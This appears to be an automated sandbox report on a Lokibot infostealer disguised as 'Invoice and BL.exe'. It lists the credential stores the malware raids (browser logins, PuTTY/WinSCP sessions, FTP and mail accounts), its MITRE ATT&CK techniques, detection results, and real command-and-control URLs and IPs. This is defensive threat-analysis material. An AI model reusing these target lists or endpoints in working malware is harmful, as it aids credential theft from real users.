Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\Invoice and BL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 7_2_00406069 GetUserNameW,

Source: C:\Users\user\Desktop\Invoice and BL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Invoice and BL.exe PID: 1152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5412, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: PopPassword
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: SmtpPassword

Source: Yara match	File source: 7.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Invoice and BL.exe.397e408.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289975656.0000000003912000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289177832.00000000027F1000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Access Token Manipulation1	Masquerading1	OS Credential Dumping2	Security Software Discovery121	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection211	Disable or Modify Tools1	Credentials in Registry2	Process Discovery1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol212	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection211	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information3	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing11	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Invoice and BL.exe	59%	Virustotal		Browse
Invoice and BL.exe	34%	Metadefender		Browse
Invoice and BL.exe	61%	ReversingLabs	ByteCode-MSIL.Infostealer.PrimaryPass
Invoice and BL.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
7.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
0.2.Invoice and BL.exe.397e408.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
abixmaly.duckdns.org	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://abixmaly.duckdns.org/binge/fre.php	13%	Virustotal		Browse
http://abixmaly.duckdns.org/binge/fre.php	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://abixmaly.duckdns.org/binge/fre.phpNg	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
abixmaly.duckdns.org	192.169.69.26	true	true	10%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://abixmaly.duckdns.org/binge/fre.php	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.ibsensoftware.com/	RegSvcs.exe, RegSvcs.exe, 00000007.00000002.294466298.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.fonts.com	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://abixmaly.duckdns.org/binge/fre.phpNg	RegSvcs.exe, 00000007.00000002.294755116.0000000000F48000.00000004.00000020.sdmp	true	Avira URL Cloud: safe	unknown
http://www.sakkal.com	Invoice and BL.exe, 00000000.00000002.293371839.0000000006912000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.169.69.26	abixmaly.duckdns.org	United States		23033	WOWUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	458970
Start date:	03.08.2021
Start time:	23:24:19
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Invoice and BL.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@3/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 97.1% (good quality ratio 93%) Quality average: 76.7% Quality standard deviation: 28.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 40.88.32.150, 52.147.198.201, 20.82.210.154, 23.211.4.86, 40.112.88.60, 13.107.4.50, 51.103.5.159, 80.67.82.235, 80.67.82.211, 20.49.157.6 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus15.cloudapp.net, wns.notify.trafficmanager.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, elasticShed.au.au-msedge.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, client.wns.windows.com, fs.microsoft.com, Edge-Prod-FRAr4a.env.au.au-msedge.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, c-0001.c-msedge.net, afdap.au.au-msedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, au.au-msedge.net, blobcollector.events.data.trafficmanager.net, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, au.c-0001.c-msedge.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:25:50	API Interceptor	1x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.169.69.26	Samples and listed Products.exe	Get hash	malicious	Browse	abixmaly.duckdns.org/binge/fre.php
	Bank Payment Transfer for PI. BT-GJ21001 (our PO. 2100002(R).exe	Get hash	malicious	Browse	abixmaly.duckdns.org/binge/fre.php
	MglhrJiLUL.exe	Get hash	malicious	Browse	195.245.112.115/index.php
	On35KJkYT4.exe	Get hash	malicious	Browse	195.245.112.115/index.php
	Order_List.xlsx	Get hash	malicious	Browse	dubaisupport.duckdns.org/file.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
abixmaly.duckdns.org	Samples and listed Products.exe	Get hash	malicious	Browse	192.169.69.26
	Bank Payment Transfer for PI. BT-GJ21001 (our PO. 2100002(R).exe	Get hash	malicious	Browse	192.169.69.26
	remittance for USD 8,752.16.exe	Get hash	malicious	Browse	35.246.120.60
	invoice for your ref.exe	Get hash	malicious	Browse	35.246.120.60
	PTI invoice of oc 4f -36..exe	Get hash	malicious	Browse	35.246.120.60
	contract YF8536851-1.exe	Get hash	malicious	Browse	35.246.120.60
	GPxOawyspo.exe	Get hash	malicious	Browse	35.246.120.60
	bank transfer SWIFT.exe	Get hash	malicious	Browse	35.246.120.60

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WOWUS	Samples and listed Products.exe	Get hash	malicious	Browse	192.169.69.26
	Bank Payment Transfer for PI. BT-GJ21001 (our PO. 2100002(R).exe	Get hash	malicious	Browse	192.169.69.26
	PO20171118-COGRAL SPA.jar	Get hash	malicious	Browse	192.169.69.25
	New Order_R4.jar	Get hash	malicious	Browse	192.169.69.25
	8MglQ6WLl5.exe	Get hash	malicious	Browse	45.14.115.62
	QPqcGLFnyI.exe	Get hash	malicious	Browse	192.169.69.30
	Payment Slip.xlsb	Get hash	malicious	Browse	192.169.69.25
	AFE7D487324952929F8F037BDFBD7249049086FC8C4A9.exe	Get hash	malicious	Browse	192.169.69.25
	10FCF8DA6000E34F9E8B8B173B6F8A65B6128E2422DB5.exe	Get hash	malicious	Browse	192.169.69.25
	IMG_Giris emri 20201122164730_PDF.exe	Get hash	malicious	Browse	192.169.69.25
	ORDER-21611docx.exe	Get hash	malicious	Browse	192.169.69.25
	4714D68DBB9F9AC36425F2EC73ED434CF57407F36063C.exe	Get hash	malicious	Browse	192.169.69.25
	ORDER-6010.pdf.exe	Get hash	malicious	Browse	192.169.69.25
	9CCC5F07D0BF7152841C893C892DF407C854D5FF45C1A.exe	Get hash	malicious	Browse	192.169.69.26
	0F4F0709D120ABA22D4687BFABFA5004DD54B0FCC6EF1.exe	Get hash	malicious	Browse	192.169.69.25
	WNr7kU4wSU.exe	Get hash	malicious	Browse	192.169.69.26
	2ga2LylVIM.exe	Get hash	malicious	Browse	192.169.69.25
	AFa8kUgrni.exe	Get hash	malicious	Browse	192.169.69.25
	u8SFl9j1I8.exe	Get hash	malicious	Browse	45.14.115.62
	66D9612BA9CDE67EDEA09F3482459F3BFE03FAAA13EAD.exe	Get hash	malicious	Browse	192.169.69.25

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Invoice and BL.exe.log Download File
Process:	C:\Users\user\Desktop\Invoice and BL.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
